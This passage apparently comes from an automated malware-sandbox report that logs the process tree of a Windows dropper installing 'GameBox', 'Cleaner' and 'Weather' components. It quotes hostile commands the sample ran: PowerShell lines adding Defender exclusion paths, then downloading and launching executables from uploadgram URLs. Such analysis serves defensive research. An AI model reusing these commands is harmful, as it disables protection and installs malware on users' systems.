                                                                                                                                                                                            • Drops startup file
                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                            PID:2296
                                                                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                            ping GFBFPSXA -n 30
                                                                                                                                                            9⤵
                                                                                                                                                            • Runs ping.exe
                                                                                                                                                            PID:4464
                                                                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
                                                                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
                                                                                                                                                    5⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Checks computer location settings
                                                                                                                                                    PID:5792
                                                                                                                                                    • C:\Users\Admin\Documents\posuivhNlqACsYj33uam4392.exe
                                                                                                                                                      "C:\Users\Admin\Documents\posuivhNlqACsYj33uam4392.exe"
                                                                                                                                                      6⤵
                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                      PID:6580
                                                                                                                                                    • C:\Users\Admin\Documents\mL2rYXpFioAg4soYQ2n6oACG.exe
                                                                                                                                                      "C:\Users\Admin\Documents\mL2rYXpFioAg4soYQ2n6oACG.exe"
                                                                                                                                                      6⤵
                                                                                                                                                        PID:6704
                                                                                                                                                        • C:\Users\Admin\Documents\mL2rYXpFioAg4soYQ2n6oACG.exe
                                                                                                                                                          "C:\Users\Admin\Documents\mL2rYXpFioAg4soYQ2n6oACG.exe" -q
                                                                                                                                                          7⤵
                                                                                                                                                            PID:3172
                                                                                                                                                        • C:\Users\Admin\Documents\TnOcf5OnkVVhpYnNqmn0V3lh.exe
                                                                                                                                                          "C:\Users\Admin\Documents\TnOcf5OnkVVhpYnNqmn0V3lh.exe"
                                                                                                                                                          6⤵
                                                                                                                                                            PID:6864
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', '%Temp%\\installer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', '%AppData%\\RuntimeBroker.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', '%Temp%\\launcher.exe') & powershell Start-Process -FilePath '%Temp%\\installer.exe' & powershell Start-Process -FilePath '%AppData%\\RuntimeBroker.exe' & powershell Start-Process -FilePath '%Temp%\\launcher.exe' & exit
                                                                                                                                                              7⤵
                                                                                                                                                                PID:7252
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:7808
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:8884
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                                                                                                                                                      8⤵
                                                                                                                                                                        PID:8196
                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:4852
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', 'C:\Users\Admin\AppData\Local\Temp\\installer.exe')
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:8784
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe')
                                                                                                                                                                            8⤵
                                                                                                                                                                              PID:5904
                                                                                                                                                                        • C:\Users\Admin\Documents\jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                          "C:\Users\Admin\Documents\jLj1KRl7Wh0of1ptA3Lmr_bZ.exe"
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:7084
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\5633132.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\5633132.exe"
                                                                                                                                                                              7⤵
                                                                                                                                                                              • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                              PID:7928
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\1340993.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\1340993.exe"
                                                                                                                                                                              7⤵
                                                                                                                                                                                PID:5848
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\7237236.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\7237236.exe"
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:5620
                                                                                                                                                                              • C:\Users\Admin\Documents\A23Ayg6MlA2S8O5cSFSG5DpC.exe
                                                                                                                                                                                "C:\Users\Admin\Documents\A23Ayg6MlA2S8O5cSFSG5DpC.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:6696
                                                                                                                                                                                • C:\Users\Admin\Documents\UnU6yT9v3AZwMhOVFF3HThwm.exe
                                                                                                                                                                                  "C:\Users\Admin\Documents\UnU6yT9v3AZwMhOVFF3HThwm.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:6688
                                                                                                                                                                                    • C:\Users\Admin\Documents\UnU6yT9v3AZwMhOVFF3HThwm.exe
                                                                                                                                                                                      "C:\Users\Admin\Documents\UnU6yT9v3AZwMhOVFF3HThwm.exe"
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:9108
                                                                                                                                                                                    • C:\Users\Admin\Documents\DCbWUAjMYMWG4bi7Ib3ufG5p.exe
                                                                                                                                                                                      "C:\Users\Admin\Documents\DCbWUAjMYMWG4bi7Ib3ufG5p.exe"
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:6356
                                                                                                                                                                                      • C:\Users\Admin\Documents\nLzXGkEyBusWmHhEh3MQ9MC_.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\nLzXGkEyBusWmHhEh3MQ9MC_.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                        PID:6588
                                                                                                                                                                                      • C:\Users\Admin\Documents\MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\MM6bxhR1XdM4iXPiXXnslTZn.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:5960
                                                                                                                                                                                          • C:\Users\Admin\Documents\MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                            C:\Users\Admin\Documents\MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:7684
                                                                                                                                                                                          • C:\Users\Admin\Documents\N6jMMNuA0WyDfbEjCqUv0k7G.exe
                                                                                                                                                                                            "C:\Users\Admin\Documents\N6jMMNuA0WyDfbEjCqUv0k7G.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                            PID:6000
                                                                                                                                                                                            • C:\Users\Admin\Documents\N6jMMNuA0WyDfbEjCqUv0k7G.exe
                                                                                                                                                                                              C:\Users\Admin\Documents\N6jMMNuA0WyDfbEjCqUv0k7G.exe
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:7612
                                                                                                                                                                                            • C:\Users\Admin\Documents\T7Gx01c83YMY5bTYIGPv4diD.exe
                                                                                                                                                                                              "C:\Users\Admin\Documents\T7Gx01c83YMY5bTYIGPv4diD.exe"
                                                                                                                                                                                              6⤵
                                                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                              PID:6680
                                                                                                                                                                                            • C:\Users\Admin\Documents\bz4ABxUMfc3Ls3uvejVLQEMi.exe
                                                                                                                                                                                              "C:\Users\Admin\Documents\bz4ABxUMfc3Ls3uvejVLQEMi.exe"
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:6672
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6672 -s 680
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:4576
                                                                                                                                                                                              • C:\Users\Admin\Documents\iiYu9sB90vd6TuzzKmNAJLqd.exe
                                                                                                                                                                                                "C:\Users\Admin\Documents\iiYu9sB90vd6TuzzKmNAJLqd.exe"
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                PID:6656
                                                                                                                                                                                                • C:\Users\Admin\Documents\iiYu9sB90vd6TuzzKmNAJLqd.exe
                                                                                                                                                                                                  C:\Users\Admin\Documents\iiYu9sB90vd6TuzzKmNAJLqd.exe
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:7140
                                                                                                                                                                                                • C:\Users\Admin\Documents\lFBObrH6EHMpheoAYeJGm8Xi.exe
                                                                                                                                                                                                  "C:\Users\Admin\Documents\lFBObrH6EHMpheoAYeJGm8Xi.exe"
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                  PID:6648
                                                                                                                                                                                                • C:\Users\Admin\Documents\CBI5BczzSjtjXFJiTUqNQM5w.exe
                                                                                                                                                                                                  "C:\Users\Admin\Documents\CBI5BczzSjtjXFJiTUqNQM5w.exe"
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                  PID:6640
                                                                                                                                                                                                • C:\Users\Admin\Documents\YaAMUeDiAq6Xh8JKn8FPm07d.exe
                                                                                                                                                                                                  "C:\Users\Admin\Documents\YaAMUeDiAq6Xh8JKn8FPm07d.exe"
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:6632
                                                                                                                                                                                                  • C:\Users\Admin\Documents\i5y6yr2MI6AcxzlCAW5Vu6mc.exe
                                                                                                                                                                                                    "C:\Users\Admin\Documents\i5y6yr2MI6AcxzlCAW5Vu6mc.exe"
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:6624
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6624 -s 660
                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                        PID:7880
                                                                                                                                                                                                    • C:\Users\Admin\Documents\HrVJwX4JK_BrfAM01ZGJkPgU.exe
                                                                                                                                                                                                      "C:\Users\Admin\Documents\HrVJwX4JK_BrfAM01ZGJkPgU.exe"
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                      • Checks whether UAC is enabled
                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                      PID:6612
                                                                                                                                                                                                    • C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                      "C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe"
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                      PID:6228
                                                                                                                                                                                                      • C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                        C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                          PID:7784
                                                                                                                                                                                                        • C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                          C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                            PID:8084
                                                                                                                                                                                                          • C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                            C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                              PID:7280
                                                                                                                                                                                                            • C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                              C:\Users\Admin\Documents\cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                PID:7388
                                                                                                                                                                                                            • C:\Users\Admin\Documents\owjN8oM_IR5b6pDPbdHuHoD6.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\owjN8oM_IR5b6pDPbdHuHoD6.exe"
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                              • Checks whether UAC is enabled
                                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                              PID:6604
                                                                                                                                                                                                            • C:\Users\Admin\Documents\_HxZx4Vizrz5HGFreaj2jTFb.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\_HxZx4Vizrz5HGFreaj2jTFb.exe"
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:6592
                                                                                                                                                                                                              • C:\Users\Admin\Documents\XcIoTauhzRXv_neuMWaGOxTR.exe
                                                                                                                                                                                                                "C:\Users\Admin\Documents\XcIoTauhzRXv_neuMWaGOxTR.exe"
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:8036
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-48D9C.tmp\XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-48D9C.tmp\XcIoTauhzRXv_neuMWaGOxTR.tmp" /SL5="$90048,138429,56832,C:\Users\Admin\Documents\XcIoTauhzRXv_neuMWaGOxTR.exe"
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                    PID:5128
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-JKELC.tmp\Setup.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-JKELC.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                        PID:8944
                                                                                                                                                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
                                                                                                                                                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                          • Drops file in Drivers directory
                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                          PID:4920
                                                                                                                                                                                                          • C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                            "C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                            PID:1180
                                                                                                                                                                                                            • C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                              C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5000
                                                                                                                                                                                                              • C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                                C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                PID:208
                                                                                                                                                                                                              • C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                                C:\Users\Admin\Documents\9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                PID:4344
                                                                                                                                                                                                          • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            PID:4108
                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                              PID:1828
                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                PID:4736
                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                              PID:9084
                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                PID:9116
                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                              PID:764
                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                PID:9184
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-Q4PVH.tmp\WEATHER Manager.tmp
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-Q4PVH.tmp\WEATHER Manager.tmp" /SL5="$10300,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                            PID:5144
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-DQ7L0.tmp\Setup.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-DQ7L0.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:6452
                                                                                                                                                                                                                • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-DQ7L0.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-DQ7L0.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629289445 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:2268
                                                                                                                                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                • Enumerates connected drives
                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                PID:5960
                                                                                                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 0CBEFA55EA7E5A83B9D30E50FBE3F373 C
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  PID:7188
                                                                                                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 1160C4407C6E368D63E30D184C8F218E C
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  PID:7956
                                                                                                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding 39F4A82BD1581E04557FB6C6B401E02F
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Blocklisted process makes network request
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  PID:2768
                                                                                                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding D7BA97D8BC9B706B6B72CF42DBDA04BF C
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  PID:8568
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                  PID:5712
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                    PID:8396
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                      PID:6248
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1fc,0x200,0x204,0x1d8,0x208,0x7fff9243dec0,0x7fff9243ded0,0x7fff9243dee0
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:5076
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff700df9e70,0x7ff700df9e80,0x7ff700df9e90
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:8332
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1800,3658205023189979917,4237665452478562674,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6248_1490804399" --mojo-platform-channel-handle=1924 /prefetch:8
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                              PID:5100
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1800,3658205023189979917,4237665452478562674,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6248_1490804399" --mojo-platform-channel-handle=1896 /prefetch:8
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:2628
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1800,3658205023189979917,4237665452478562674,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6248_1490804399" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2596 /prefetch:1
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                                                PID:764
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1800,3658205023189979917,4237665452478562674,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6248_1490804399" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1844 /prefetch:2
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:8848
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
